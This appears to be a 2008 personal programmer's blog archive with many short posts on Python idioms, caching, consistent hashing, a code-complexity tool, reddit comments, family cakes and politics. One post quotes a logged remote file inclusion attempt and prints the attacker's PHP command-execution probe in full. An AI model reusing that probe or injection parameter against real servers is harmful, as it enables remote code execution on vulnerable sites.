I've noticed a useful pattern in some Python polymorphic functions. The bulk of the function is written assuming the input is of one preferred type. But other types are also accepted by first converting them (evolving them) up to the preferred type.

A common example is a function that operates on an open file, but will also accept a file name:

def doit(f):
    # If f is a string, it's a filename to be opened
    if isinstance(f, basestring):
        f = open(f)
    # .. do stuff with the file ..

A richer example comes from Jared Kuolt's StaticGenerator. Here the goal is to build a list of URLs, but the function accepts strings as well as a variety of Django ORM objects:

extracted = []
for resource in resources:
    # A URL string
    if isinstance(resource, (str, unicode, Promise)):
        extracted.append(str(resource))
        continue
    
    # A model instance; requires get_absolute_url method
    if isinstance(resource, Model):
        extracted.append(resource.get_absolute_url())
        continue
    
    # If it's a Model, we get the base Manager
    if isinstance(resource, ModelBase):
        resource = resource._default_manager
    
    # If it's a Manager, we get the QuerySet
    if isinstance(resource, Manager):
        resource = resource.all()
    
    # Append all paths from obj.get_absolute_url() to list
    if isinstance(resource, QuerySet):
        extracted += [obj.get_absolute_url() for obj in resource]

In this case, there are two cases that branch off to get handled completely, and three different types which evolve up through each other.

There's something very satisfying about this style of code. The polymorphism comes not from switching on the type and doing different actions for different types, but from evolving types one to the next until you have the type needed to operate on.

Statically typed languages can use a similar design, where overloaded functions adapt their arguments and call each other. The dynamic language pattern is more flexible in that different kinds of adaptation can be used, not just type-based. Here's a hypothetical example:

def doit_with_html(h):
    if h.startswith('http:'):
        # Turn a URL into its HTML data.
        h = urllib2.urlopen(h).read()
    #.. do something with the HTML ..

Here we aren't distinguishing between two different types, but between two different structures of string. If the string smells like a URL, we use it to fetch HTML to operate on, otherwise we assume the string is HTML to begin with.

This style of coding is a great way to make functions more flexible and useful to callers. It's not only concise, but it gives you a natural way to extend the function to operate on more types. Often a new kind of input can be accomodated simply by adding an adaptation clause to the top of the existing function, rather than proliferating similar functions with similar (but different) names.

I've posted Aptus 1.5, the latest version of my Mandelbrot creator. New features include continuous coloring, arbitrary rotations, and more palette-tweaking controls.

This is one of those little things I look at on the web, and just want to show people. It isn't momentous, it's just a bit of creativity that should be spread around.

Someone is making animals out of plastic bags, and tying them to subway grates, so that when a train passes beneath the street, the animal springs up:

There's something so charming about this: the found material, the borrowed energy from the subway, and combining them to add new life to the streetscape. Genius!

Ben turned 10 yesterday! We thought we were making a cake for his party this weekend, but he also wanted a cake for the real day, so we whipped this up. Baki is a character in Drawn To Life, a new game we just got him. At least I think it is called Baki, and is a character, I'm not sure. This cake set the record for shortest time from awareness of a thing to enshrining it as a cake (24 hours).

OmniTI has a new site design, and they've done something unusual with their URLs. Rather than have them be primarily noun clauses, as in www.example.com/about/jobs, they've made them all complete sentences, leading with an active verb. Their jobs page is omniti.com/is/hiring. A client page is omniti.com/helps/ning. The usual Services section is rendered as does, the blog is thinks, and news archive is remembers.

At first I thought it was a cute gimmick, but maybe it's deeper than that? Maybe it's an attempt to make the site design be pervasively about the real problem at hand: talking about the company, and what it does. Rather than have the URLs be about a pile of web pages, they are about the company. Interesting.

Two days ago I wrote Is it a cache?, and like many of my programming posts, it was posted to programming.reddit.com, where it attracted 37 comments. Looking at the comments on reddit and the comments on the blog post, they are of different natures. The blog comments were of basically one kind. They all addressed the technical issues, and whether they agreed or disagreed, were civil and respectful.

The reddit comments, on the other hand, fall into three classes:

1. Responses to the post, mostly civil.
2. Silly jokes.
3. Dismissive comments about my hosting or my profession.

I can understand why people post comments on reddit for links to pages that don't support comments. If you want to discuss a news story from CNN, for example, where else can you? CNN doesn't provide for commenting, so external sites like reddit do. But why would someone follow a link from reddit to a blog post, and then, instead of adding a comment on the blog post, go back to reddit to comment there?

Actually, looking at the three kinds of comments I got, it isn't such a mystery. Types 2 and 3 would be disruptive to add directly on the post. I don't know who reddit user prockcore is, but he's probably not the type of person to say to someone's face,

Who gives a shit? It's penny-ante arguments like this that give programmers their well-deserved reputation for being know-it-all assholes.

The blunter comments of type 1 would also be a bit awkward to add to the post:

In my opinion, that's a crappy post..

In these ways, reddit users are like the kids at the back of the class. Rather than participate in a discussion, they prefer to snipe in private. By staying out of earshot of the speaker, they don't have to modulate their emotions or opinions, for fear of offending.

Except everyone must realize that bloggers know about reddit, and are generally aware that they've been linked to. They must know that the author will see their comments in any case. Reddit commenters are not out of earshot.

I realize this may sound cranky, like my feelings have been hurt by the meanies. I'm not, and they're not, I'm just trying to understand why some people comment on the blog while others go back to reddit. Is there a community there? I don't get the sense that reddit'ers recognize each other and build relationships, however slight, as they do in other forums. Is this just the online version of saying something behind someone's back you wouldn't say to their face, or is there something else going on I don't understand?

It's not often that new typography terms are coined. David Friedman came up with Keming: the result of improper kerning. LOL!

BTW: is this a total font-geek joke, or does it have broader appeal? I don't have a sense of perspective on this one...

A current discussion on django-developers about identity mapping raised a sore point with me: when is something a cache? In the linked message, Philippe Raoult discussing the id/object map as a cache. In my mind, it is clear that it is not a cache.

There are two defining characteristics of a cache:

• It makes things go faster, and
• It doesn't make things behave differently.

An important test of cache-ness is to imagine disabling it. How does that affect the whole system? If you answered "it goes slower", then you have a cache. If you answered, "some stuff wouldn't work right", then you are talking about something besides a cache.

Of the two traits above, counter-intuitively, the second is more important. If I have a component which is transparent to the rest of the system, and was supposed to make things faster, but doesn't, then I have a bad cache. If I have a component which speeds things up but cannot be disabled because it would break things, then I have no cache at all.

Another role sometimes confused with caching is persistence. The defining characteristic of persistence is that you can give it a thing, and later it will give it back to you. That's its promise. Caches make no such promise. In fact, there is a term for when a cache doesn't have what you are looking for: a cache miss.

When evaluating a component, you need to keep a clear eye on what you are using it for. A tool built for caching cannot be slotted into the persistence role. The cache contract doesn't include the promise to return data. No matter how infrequently your cache misses, it still misses. Similarly, if the component in question is important to the semantics of the system, then it isn't a cache, because it breaks the promise to not make things behave differently.

A co-worker (hi, Matt!) is expecting a baby, and he is a movie fan, so we were passing around a link to 5starbaby.com, which makes birth announcements styled like movie posters. Cute.

It's been done before, though a little differently. My parents were in the theater. At the time I was born, my Dad was working on a Masters from Yale in the subject. This is the birth announcement they sent when I (and my twin sister) were born:

I don't know how they produced it (electronic assistance was not available). Possibly Letraset-style transfer lettering (the lines of asterisks are uneven, but it doesn't look like real letterpress). Also unknown: the intent of the relative billing of my Mom and Dad. Witty joke? Genuine reminder of the perception of the roles of men and women at the time? I'm hoping joke...

One of the side-effects of going to PyCon is getting immersed in some side project or other. Being immersed in all things Python for a few days away from the other usual complexities of life makes it a natural environment in which to dive deep.

This PyCon, I was ignited by a comment Matt Harrison made about there not being a tool to find code paths in Python. Having wrestled with the difficulty of analyzing Python code for coverage.py, I thought I could hack something together.

A few days later, the meager result is codepaths.py. It's a command line script. Give it a Python source file, and it will report on the McCabe complexity measure of the functions and class methods within. The -m option is a minimum complexity measure below which functions are too uninteresting to include in the output (default 2). The -d option causes the output to be a Graphviz dot file for drawing the code path graphs. Without -d, the names and complexity measures are simply listed.

This will make a PNG file, for instance:

python codepaths.py -d mycode.py | dot -Tpng -o mycode.png

Weaknesses:

• The graphs are kind of wonky because I don't know how to control Graphviz.
• Some Python constructs aren't handled yet (try/except, while/else) because I don't know how to account for them in the complexity measure.
• Files of any interesting size make graphs that are slow to draw and large to display.
• The graphs could be streamlined: coalescing consecutive simple statements, removing the join points after branches, and so on.

It's a quick hack starting point. If people are interested, it will go some place. If not, it was a fun weekend project.

Like most production web sites these days, we use memcached to cache all sorts of data to increase responsiveness. It's great, partly because it's really simple. One of its simplicities, though, is that the available client libraries use a very simple hashing mechanism to assign a resource to a server. If you have N memcached servers, the server id is just (hash(key) mod N).

This isn't great if your servers come and go, because only 1/N resources get mapped to the same server when adding or removing a server. Also, if some servers have much larger capacity than the rest, either the big servers won't fill up, or the small servers will have a lower hit rate as they flush more frequently. Consistent Hashing is a technique for assigning resources to servers much more flexibly. When adding a new server, only 1/N resources change their server, and different servers can be assigned varying fractions of the resources.

Now we just need a Python memcached implementation...

I got back from PyCon last night. I'd taken notes on all the sessions I attended. They're kind of sketchy, and I don't know if they'll be of any use to anyone else, but I figured I'd put them up anyway. My apologies to speakers whom I have crudely paraphrased here. The quality of these notes varies as my energy level waxed and waned.

» read more of: PyCon 2008 notes... (128 paragraphs)

ROFLCon looks like a different kind of conference. Its self-description:

Mix up a bunch of super famous internet memes, some brainy academics, a big audience, dump them in Cambridge, MA and you've got ROFLCon.

The conference is slated for April 25th and 26th of 2008.

It's a group dissection of internet culture. What makes it work, why it works, how it works. We'll talk about where internet culture has been and where we think it's going.

All sorts of 15-minute celebrities will be there (I'd never heard of The Tron Guy before), as well as creators of internet funny stuff like Homestar Runner, I Can Has Cheezburger, and JibJab.

Important topic, or trivia discussing trivialities? Sounds like a fun time either way!

One of the things I find entertaining about monitoring web sites is to see the trails of malware. Yesterday, there were a few attempts to request pages from our site with a query parameter added on, for example:

blah/blah?p=http://www.mambembrincantes.com/site/safeon.txt??

I visited that odd URL to see what I could find out, and discovered a plain text file containing PHP code. This is the code (formatted so I could read it):

<?php
    echo "31337:";
    $cmd = "id";
    $eseguicmd = ex($cmd);
    echo $eseguicmd;
    function ex($cfe) {
        $res = '';
        if (!empty($cfe)) {
            if (function_exists('exec')) {
                @exec($cfe, $res);
                $res = join("\n", $res);
            }
            elseif (function_exists('shell_exec')) {
                $res = @shell_exec($cfe);
            }
            elseif (function_exists('system')) {
                @ob_start();
                @system($cfe);
                $res = @ob_get_contents();
                @ob_end_clean();
            }
            elseif (function_exists('passthru')) {
                @ob_start();
                @passthru($cfe);
                $res = @ob_get_contents();
                @ob_end_clean();
            }
            elseif (@is_resource($f = @popen($cfe, "r"))) {
                $res = "";
                while (!@feof($f)) {
                    $res .= @fread($f, 1024);
                }
                @pclose($f);
            }
        }
        return $res;
    }
    exit;
?>

I'm not sure what the heck is going on here. The script looks like it's trying to accept a command and execute it, except the command is hardcoded to "id". And what good does it do to hit my server with this URL in a ?p= parameter? Is there some vulnerability somewhere so that a server sent this URL will fetch this PHP and execute it? Is this part of a server-based virus? What good does it do if the command is always "id"? So many questions...

Friday morning I'm flying to Chicago for PyCon. Four of the five Tabblo engineers will be there (the fifth is expecting a baby: the lengths some people will go to to avoid conferences!) I hope to meet a lot of people I only know from tenuous online connections. Last year was fun, and I expect this year to be even more so. See you there!

For Max's 16th birthday, a Doctor Who cake:

Rarely Seen Shuttle Activities is a series of photos of the preparation to launch the space shuttle. It is truly astounding to see the scale of effort required to launch the shuttle. Everything is massive. The entire shuttle is lifted on a crane inside a giant hanger to attach it to the external fuel tank. The entire assembly is mounted on an enormous tractor that travels half a mile per hour to transport it three miles to the launch pad. It's mind-boggling to realize how much work goes into the construction and deployment of these machines.

The space shuttle was an early inspiration to me, so I still get excited seeing these kinds of photos.

BTW: on a side note, today is the six-year birthday of this blog. I started by writing in 2002 about my first job ever.

Pontoon is the first Garrison Keillor book I've listened to or read. I'd heard little bits and pieces of Keillor, and he always struck me as mildly amusing, but maybe too corny in a midwestern sentimental way. I wasn't sure I'd like an entire novel by him.

As I listened, though, I quickly became quite engrossed. Keillor is a master of small observations and character. He describes simple small-town people and events, and he is very loving with them, but not sentimental. Everyone is watched with his gentle eye, and he narrates a path along the curlicued trellis of their lives, taking detours and tangents until his story is a carefully wrought tracery of details. Just because these people lead ordinary lives does not mean that they are not extraordinary.

He uses deft metaphors, for example, describing the inadequacy of a eulogy's platitudes to capture the complexities of a man's life as "layers of whipped cream on a burnt sausage".

The plot of Pontoon is not a happy one. It revolves around a memorial service and a wedding on a collision course. Many of the characters are troubled or grieving, but each is given his due. The overall message of the book seems to be: this too shall pass, but in the meantime, isn't it wonderful?

His world outlook reminded me of Kurt Vonnegut's, "We are here to help each other through this thing, whatever it is."

Near the very end of the book, a character says,

You get old and you realize there are no answers, just stories, and how we love them.

Pontoon is a fine example of the love of stories displacing the need for answers.

One of the things I enjoy about my current job at Tabblo is that I get to implement print design. I like working at the intersection of engineering and graphic design. Sometimes I have to explain engineers to designers, and sometimes designers to engineers.

An engineer on the team asked me the other day what this gibberish text was:

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. In dapibus lorem quis dui. Phasellus adipiscing. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.

It's dummy text used by graphic designers when they need text for a layout, but don't want it to distract from the layout itself. It's designed to mimic real text, but not draw people into discussing the content.

You'll find that graphic designers all over the world use not just this idea, but this precise text. It's a design tradition at this point. The text has a long and storied history, detailed at sites like lipsum.org, an online lorem ipsum generator. Turns out it is a somewhat garbled version of a Latin passage by Cicero.

Because designers often have need for passages of dummy text, there are other generator sites, like blindtextgenerator.com, with options controlling what text to use, how much of it to generate, and what typeface to display it in.

Web framework may even provide tools to generate text like this inline. Here's a loremipsum tag for Django, for example.

Another technique used by graphic designers to abstract away text is to draw lines of small text as simple gray bars. While lorem ipsum is based on Latin text, this gray bar technique is known as greeking!

Donnie Hoyle has created a series of unusual Photoshop tutorials: You Suck at Photoshop. I like them because of their offbeat, often inappropriate humor. There's not a whole lot of Photoshop instruction in them, but the presentation is certainly memorable.

I also like them because they are precisely the sort of instructional material that would never have been produced before the Internet. The effort and expense and risk involved in creating physical books is too large to risk it on an unconventional approach like this. Even the "Dummies" books were made possible by the rise of the Internet introducing the possibility of lowering your professional guard to deliver messages in a new way.

The Russian Gmail team made an ad featuring the Gmail UI, but built 20 feet high on a warehouse floor: Screencasting made... difficult. I guess it's memorable!

More Muslim innuendo from the campaign trail. People are talking about photos of Obama and Clinton in Muslim clothing. As an example, Ole Eichhorn said:

BTW: I'm sorry, but this bothers me and this does too. I know, they're Halloween costumes, I know...

I mention Eichhorn's comments because he is not a rabid political blogger. He is a software guy like me, and while his politics are clearly right-leaning, he seems to consider the possibility of voting for a Democrat. There are lots of people bothered by these photos, I don't mean to pick on Eichhorn.

Why are people bothered by people wearing ceremonial garb? Why not be bothered by a sitting president holding hands with a Muslim monarch ruling a country with virtually no religious freedoms? A country where Bibles may be confiscated at the airport? A country where an illiterate woman is sentenced to death for witchcraft?

As near as I can tell, we are allies with Saudi Arabia for two simple reasons:

1. They have plenty of oil to sell, and
2. They don't want to kill us.

At the same time we are fighting in Iraq to "spread democracy", Saudi Arabia is a close friend of ours, even though they make absolutely no pretense to democracy, have no freedom of religion, and treat women as second-class citizens, unable even to get driver's licenses. Where's the logic?

I'll take leaders dressing in Muslim garb as a sign of respect for Muslims in democratic countries like Kenya over Bush dressed for casual Friday holding hands with a Saudi royal any day.

And don't worry, I'm not under the illusion that Obama or Clinton would straighten things out. They may not be as chummy with the Saudi royals as Bush is, but I know they are not going to shift Saudi Arabia from the friends column to the enemies column. This failure of reason is deep-seated in US foreign policy.